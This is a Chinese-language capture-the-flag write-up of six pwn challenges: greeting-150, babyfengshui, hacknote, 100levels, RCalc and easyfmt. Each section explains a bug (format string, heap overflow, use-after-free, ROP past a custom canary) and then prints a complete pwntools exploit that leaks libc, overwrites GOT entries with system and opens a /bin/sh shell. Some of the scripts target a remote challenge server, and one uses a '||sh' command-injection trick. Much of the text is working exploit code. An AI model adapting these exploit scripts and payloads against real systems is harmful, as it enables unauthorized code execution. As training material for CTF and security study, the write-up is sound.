#pwn进阶区
##greeting-150
这是个明显的字符串漏洞
return printf(s);
思路就是修改strlen函数为system,并且让函数循环执行,从而getshell
在程序末尾会执行fini函数,我们将其修改为start_addr
我们先输入aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p来观察输入的字符串在第几个参数

由上图可知,只需对齐2字节,那么下一个参数就出现在第12个。
首先修改strlen_got的高字节(因为它比较小),那么修改的大小是
0x804 - (len(‘aa’) + len(‘Nice to meet you, ‘) + 4 * 4) = 2016
fini_got的高字节相同
然后分别是strlen_got的低字节和fini_got的低字节(因为system的低字节更小)
最后传入”/bin/sh”即可
##babyfengshui
有四个功能如下:

其中add_usr的功能:

p_discri = malloc(size); //用于存放discription堆
memset(p_discri, 0, size);
v3 = malloc(0x80u); //用于存放name堆
memset(v3, 0, 0x80u);
*v3 = p_discri; //将discription堆的地址存放到name堆的首地址
*(&array + num) = v3; //将name堆的地址存放到数组
printf("name: ");
fgets_addr_len(*(&array + num) + 4, 124); //向discription堆中写入
puts_text(num++);
return v3;
所以add_usr一次会创建两个堆,并且会将name堆写入数组。
一下是Update a user description功能
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + **(&array + num_next)) >= *(&array + num_next) - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
fgets_addr_len(**(&array + num_next), v3 + 1);
if ( (v3 + **(&array + num_next)) >= *(&array + num_next) - 4 )
这句当len >= name_addr - discri_addr 时报错。这里默认了创建堆是连续的,然而通过我们的构造,可以让name堆 和 discription堆相隔很远,从而产生溢出。
先申请3个usr,并在3号usr的discription中写入”/bin/sh\x00”
add_user(0x80,0x80,"AAAA") #0
add_user(0x80,0x80,"BBBB") #1
add_user(0x8,0x8,"/bin/sh\x00") #2
之后dele_0号这是两个堆合并成为大小为0x100的chunk
delete_user(0)
add_user(0x100,0x19c,b'D'*(0x198) + p32(elf.got['free'])) #3
溢出1号usr的discription为elf.got[‘free’]
display_user(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
print("free_addr",hex(free_addr))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
泄露地址,并寻找system_addr
printf("text: ");
fgets_addr_len(**(&array + num_next), v3 + 1);
利用Update a user description功能,向**(&array + num_next)及elf.got[‘free’]存储的内容写入system.之后free_usr_1即可get_shell
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
p=remote('111.200.241.244',51565)
elf=ELF('./babyfengshui')
#context.log_level = 'debug'
#p = process('./babyfengshui')
libc=ELF('./libc.so.6')
def add_user(size, length, text):
p.sendlineafter("Action: ", '0')
p.sendlineafter("description: ", str(size))
p.sendlineafter("name: ", 'AAAA')
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)
def delete_user(idx):
p.sendlineafter("Action: ", '1')
p.sendlineafter("index: ", str(idx))
def display_user(idx):
p.sendlineafter("Action: ", '2')
p.sendlineafter("index: ", str(idx))
def update_desc(idx, length, text):
p.sendlineafter("Action: ", '3')
p.sendlineafter("index: ", str(idx))
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)
add_user(0x80,0x80,"AAAA") #0
add_user(0x80,0x80,"BBBB") #1
add_user(0x8,0x8,"/bin/sh\x00") #2
delete_user(0)
add_user(0x100,0x19c,b'D'*(0x198) + p32(elf.got['free'])) #3
#gdb.attach(p)
display_user(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
print("free_addr",hex(free_addr))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
update_desc(1, 0x4, p32(system_addr))
delete_user(2)
p.interactive()
##hacknote
一共就三个功能
int sub_8048956()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
Add:
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
**(&ptr + i) = puts_a1_4;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *(&ptr + i);
*(v0 + 4) = malloc(size);
if ( !*(*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
Del: 漏洞就在这里,虽然free了chunk,但是并没有将指针归0 .
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + index) )
{
free(*(*(&ptr + index) + 1));
free(*(&ptr + index));
puts("Success");
}
Show:
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(**(&ptr + v1))(*(&ptr + v1));

chunk结构如图,malloc一个8字节chunk,在该chunk的首地址存储puts函数,并且它将会打印下一个chunk中的内容。
所以我们的思路就是,malloc两个该结构,并将其都free掉。然后再malloc一个同样为8字节的chunk.
由于之前free掉了数组中两个8字节的chunk,所以我们会直接取出这两个free_chunk,从而构成 了UAF漏洞。
我们只需要把puts_a1+4修改为system,把malloc_note修改为”/bin/sh\x00”然后在执行show函数,则可以get_shell
至于泄露地址,则可以通过show函数。直接向任意的note中写入一个函数地址,然后再show即可.
exp如下
#! /usr/bin/python3
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./hacknote')
sh = remote('111.200.241.244',59975)
#sh = process('./hacknote')
elf = ELF('./hacknote')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
show_addr = 0x804862B
def create(size,content):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Note size :',str(size))
sh.sendafter('Content :',content)
def delete(index):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index :',str(index))
def show(index):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index :',str(index))
#创建二个堆
create(0x20,'a'*0x20)
create(0x20,'b'*0x20)
delete(0)
delete(1)
payload = p32(0x804862B) + p32(puts_got)
#这个8字节空间正好分配到了note0的结构体处
create(0x8,payload)
#泄露puts的加载地址
show(0)
#获得puts的加载地址
puts_addr = u32(sh.recv(4))
#libc = LibcSearcher('puts',puts_addr)
#print hex(puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#print 'libc base:',hex(libc_base)
#system_addr = libc_base + libc.dump('system')
#binsh_addr = libc_base + libc.dump('str_bin_sh')
libc = ELF('libc_32.so.6')
libc_base = puts_addr - libc.sym['puts']
print ('libc base:',hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
delete(2)
payload = p32(system_addr) + b'||sh\x00'
create(0x8,payload)
# get shell
show(0)
sh.interactive()
这个||sh是shell注入,因为按照原来的show的逻辑,是这样的
system(note[i]);
而note[i]是一个结构体,前四字节是system的地址,接下来是||sh字符串,所以,传给system的字符串实际上时xxxx||sh,这是一种或表达式,相当于注入一样(||或操作)
##1000levevls
main函数如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // rdx
__int64 v5; // rcx
sub_DDC();
logo();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = str_to_l();
if ( v3 != 2 )
break;
Hint(a1, a2, v4, v5);
}
if ( v3 == 3 )
break;
if ( v3 == 1 )
{
go(a1, a2, v4, v5);
}
else
{
a1 = "Wrong input";
puts("Wrong input");
}
}
puts_(a1, a2, v4, v5);
return 0LL;
}
查看Hint函数
int hint()
{
char v1[264]; // [rsp+8h] [rbp-108h] BYREF
if ( unk_20208C )
sprintf(v1, "Hint: %p\n", &system);
else
strcpy(v1, "NO PWN NO FUN");
return puts(v1);
}
.text:0000000000000D0A sub rsp, 110h
.text:0000000000000D11 mov rax, cs:system_ptr
.text:0000000000000D18 mov [rbp+var_110], rax
.text:0000000000000D1F lea rax, unk_20208C
发现这里把system的地址存放到了[rbp+var_110]
int go()
{
__int64 v1; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 v5; // [rsp+10h] [rbp-110h]
__int64 v6; // [rsp+18h] [rbp-108h]
char v7[256]; // [rsp+20h] [rbp-100h] BYREF
puts("How many levels?");
v1 = str_to_l();
if ( v1 > 0 )
v4 = v1;
else
puts("Coward");
puts("Any more?");
v5 = v4 + str_to_l();
if ( v5 > 0 )
{
if ( v5 <= 99 )
{
v6 = v5;
}
else
{
puts("You are being a real man.");
v6 = 100LL;
}
puts("Let's go!'");
v2 = time(0LL);
if ( the_game(v6) )
{
v3 = time(0LL);
sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, (v3 - v2));
puts(v7);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}
而在go函数中__int64 v4; // [rsp+10h] [rbp-110h]
并且go和hint由同一个函数调用,所以他们用于同样的rbp, 也就是说system的地址残留在了v4中
if ( v1 > 0 )
v4 = v1;
发现如果v1<0那么v4不会被清0 , 所以我们输入v1=0 。然后在输入one_gadget-system ,这样v5就存储了one_gadget的地址了
v5 = v4 + str_to_l();
因为go函数调用了game函数,所以game函数的栈开辟在go的上方。
07:0038│ 0x7ffdf3653e60 ◂— 0x11400000000
pwndbg>
08:0040│ 0x7ffdf3653e68 ◂— 0xc00000017
09:0048│ rbp 0x7ffdf3653e70 —▸ 0x7ffdf3653fa0 —▸ 0x7ffdf3653fe0 —▸ 0x55ca23ab7fd0 ◂— push r15
0a:0050│ 0x7ffdf3653e78 —▸ 0x55ca23ab7c8a ◂— test eax, eax
0b:0058│ 0x7ffdf3653e80 ◂— 0xfffffffffffffeda
0c:0060│ 0x7ffdf3653e88 ◂— 0x55ca6141b4cb
0d:0068│ 0x7ffdf3653e90 —▸ 0x7f6dff55427a (do_system+1098) ◂— mov rax, qword ptr [rip + 0x37ec37]
我们需要在rbp+4后的位置上一直pop_ret直到执行one_gadget为止。
然而,pop在这里也用不了,因为是随机地址,我们找不到。
然而,有一个例外的东西,它的地址是固定的。那就是vsyscall
Vsyscall用于系统调用,它的地址固定在0xffffffffff600000-0xffffffffff601000,vsyscall在内核中实现,无法用docker模拟。因此某些虚拟机上可能不成功。
可以利用的vsyscall地址如下
gettimeofday: 0xffffffffff600000
这里我们可以把vsyscall函数当成ret的gadget,从而实现调用one_gadget
exp如下
#! /usr/bin/python3
from pwn import *
io = process("./100levels")
libc = ELF("./libc.so")
one_gadget = 0x4526a
system = libc.sym['system']
io.recvuntil("Choice:\n")
io.send('2')
io.recvuntil("Choice:\n")
io.sendline('1')
io.recvuntil("How many levels?\n")
io.send('0')
io.recvuntil("Any more?\n")
io.send(str(one_gadget-system))
def cacu ():
io.recvuntil("Question: ")
num1 = int(io.recvuntil(" "))
print("num1 = "+str(num1))
io.recvuntil("* ")
num2 = int(io.recvuntil(" "))
print("num2 = "+str(num2))
ans = num1 * num2
print (io.recvuntil("Answer:"))
io.sendline(str(ans))
print("ans = "+str(ans))
for i in range(99):
cacu()
gdb.attach(io)
print (io.recvuntil("Answer:"))
payload = b'a'*0x38 + p64(0xffffffffff600000)*3
io.send(payload)
io.interactive()
RCacl
分析代码
利用ida 动态调试分析程序运行逻辑:
首先申请了4个chunk。并且手动写了一个canary防护。在之后的每次函数调用的先set_canary 然后在该函数结束后 get_canary 并与其比较。
__int64 __fastcall save(__int64 a1)
{
__int64 v1; // rsi
__int64 v2; // rdx
__int64 result; // rax
v1 = *(ma_1 + 8);
v2 = (*ma_1)++;
result = a1;
*(v1 + 8 * v2) = a1;
return result;
}

可以看出,在save函数中利用基地址+偏移的方式对结果进行储存。即在 0x6020F8 之后存储计算结果。
set_canary,调用函数时设置canary
__int64 set_canary()
{
__int64 v0; // rbx
__int64 v1; // rsi
__int64 v2; // rdx
unsigned int ptr; // [rsp+Ch] [rbp-24h] BYREF
__int64 v5; // [rsp+10h] [rbp-20h]
FILE *stream; // [rsp+18h] [rbp-18h]
if ( *ma_2 )
{
ptr = *(*(ma_2 + 8) + 8LL * *ma_2 - 8);
}
else
{
stream = fopen("/dev/urandom", "r");
fread(&ptr, 1uLL, 4uLL, stream);
fclose(stream);
}
srand(ptr);
v5 = rand();
v0 = v5 << 32;
v5 = v0 | rand();
v1 = *(ma_2 + 8);
v2 = (*ma_2)++;
*(v1 + 8 * v2) = v5;
return v5;
}
get_canary,调用函数时调用canary并且进行比较
__int64 get_canary()
{
return *(*(ma_2 + 8) + 8LL * (*ma_2)-- - 8);
}

从save函数可以看出 v1 + 8 * v2 的地址上存储了每次计算结果的值 //*(v1 + 8 * v2) = a1;
而每计算的次数没有限制,因此可以多次计算直至结果覆盖canary的储存地址
继续观察代码,发现输入name时没有限制长度,存在溢出漏洞,可以利用其构造rop链。通过泄露libc从而找到基地址用系统调用getshell

#! /usr/bin/python3
from pwn import *
from LibcSearcher import *
context.log_level='debug'
local=0
if local:
sh=process('./RCalc')
libc=ELF('libc.so.6_remote')
libc_start_main_libc=libc.symbols['__libc_start_main']
system_libc=libc.symbols['system']
bin_sh_libc=libc.search(b"/bin/sh").__next__()
else:
sh=remote('111.200.241.244','53565')
elf=ELF('./RCalc')
libc_start_main_got=elf.got['__libc_start_main']
printf_plt=elf.plt['printf']
pop_rdi_addr=0x401123
main_addr=0x401036
def welcome(name):
sh.sendlineafter('Input your name pls: ',name)
def send_interger(int1,int2):
sh.recvuntil('input 2 integer: ')
sh.sendline(str(int1))
sh.sendline(str(int2))
def save_result(flag):
string='no'
if flag:
string='yes'
sh.sendafter('Save the result? ',string)
def add(int1,int2,flag):
sh.sendlineafter('Your choice:','1')
send_interger(int1,int2)
save_result(flag)
def sub(int1,int2,flag):
sh.sendlineafter('Your choice:','2')
send_interger(int1,int2)
save_result(flag)
def mod(int1,int2,flag):
sh.sendlineafter('Your choice:','3')
send_interger(int1,int2)
save_result(flag)
def mul(int1,int2,flag):
sh.sendlineafter('Your choice:','4')
send_interger(int1,int2)
save_result(flag)
def exit():
sh.sendlineafter('Your choice:','5')
def heapOverflow():
for i in range(35):
add(0,0,1)
padding=b'a'*0x108+p64(0)+p64(0xdeadbeef)
payload=padding+p64(pop_rdi_addr)+p64(libc_start_main_got)+p64(printf_plt)+p64(main_addr)
welcome(payload)
heapOverflow()
exit()
libc_start_main_addr=u64(sh.recv(6).ljust(8,b'\x00'))
if local:
libc_base=libc_start_main_addr-libc_start_main_libc
system_addr=system_libc+libc_base
bin_sh_addr=bin_sh_libc+libc_base
else:
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libc_base=libc_start_main_addr-libc.dump('__libc_start_main')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
payload=padding+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
welcome(payload)
heapOverflow()
exit()
sh.interactive()
easyfmt
观察代码
发现存在格式化字符串漏洞

进入checkin函数发现有一个随机的数字,需要通过爆破来通过

为了通过checkin,需要一个爆破脚本,不断发送1,如果错误就关闭连接重新循环,如果正确就break继续执行代码。
while True :
io = process('./easyfmt')
#io = remote('111.200.241.244',64639)
io.sendlineafter('enter:','1')
ret = io.recv()
if ret.find(b'bye') < 0:
break
io.close
利用%p确定参数位置,可以发现输入的字符在第8个参数的位置

为了让程序不退出,我们把exit.got 修改成main中结束checkin的位置,这样可以反复利用格式化字符串漏洞,也不需要再爆破checkin了。
payload = b'%2434c%10$hn' ###这里不可以用0x982代替2434,语法规则
payload = payload.ljust(16, b'a')
payload += p64(elf.got['exit'])
io.sendline(payload)
再次利用格式化字符串漏洞,利用%s 输出libc的地址
payload=b'%10$saaa'+p64(read_got) ###
io.sendafter('slogan: ',payload)
io.recv(1)
read_addr=u64(io.recvuntil('aaa',drop = True).ljust(8,b'\x00'))
print("read-->"+hex(read_addr))
//利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
比如这里用%p来获取栈上的值

//利用 %s 来获取变量所对应地址的内容,只不过有零截断。
这里用%p来获对应地址的值

得到libc的基地址,通过计算获取system的地址
base = puts_got - libc.sym['puts']
system = base + libc.sym['system']
print('system--->'+hex(system))
char1 = system&0xff
char2 = ((system&0xffffff)>>8)-char1
payload = b'%'+str(char1).encode() + b'c%14$hhn' + b'%' + str(char2).encode() + b'c%15$hn'
payload = payload.ljust(32,b'a') + p64(printf_got) + p64(printf_got+1)
#gdb.attach(io)
io.sendafter('slogan: ',payload)
io.sendafter('slogan: ','/bin/sh\x00')
利用%p获取参数位置,输入字符在第10个参数的位置,所以printf_got在第14个参数的位置

因为system和printf只有最后3个字节不同,所以只需要修改最后6个数,利用%14$hhn修改倒数第一个字节的值,利用%15$hn修改倒数第二,三个字节的值
//我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。

#! /usr/bin/python3
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('./easyfmt')
libc = elf.libc
while True :
io = process('./easyfmt')
#io = remote('111.200.241.244',64639)
io.sendlineafter('enter:','1')
ret = io.recv()
if ret.find(b'bye') < 0:
break
io.close
#sleep(0.1)
#io.recvuntil('slogan: ')
#io.recv()
read_got=elf.got['read']
printf_got=elf.got['printf']
payload = b'%2434c%10$hn' ###
payload = payload.ljust(16, b'a')
payload += p64(elf.got['exit'])
io.sendline(payload)
gdb.attach(io)
payload=b'%10$saaa'+p64(read_got)
io.sendafter('slogan: ',payload)
io.recv(1)
read_addr=u64(io.recvuntil('aaa',drop = True).ljust(8,b'\x00'))
print("read-->"+hex(read_addr))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
print("system-->"+hex(system_addr))
char1=system_addr&0xff
payload=b'%'+str(char1).encode()+b'c%14$hhn' ###
char2=((system_addr&0xffffff)>>8)-char1
payload+=b'%'+str(char2).encode()+b'c%15$hn'
payload=payload.ljust(32,b'a')+p64(printf_got)+p64(printf_got+1)
io.sendafter('slogan: ',payload)
io.sendafter('slogan: ','/bin/sh\x00')
io.interactive()




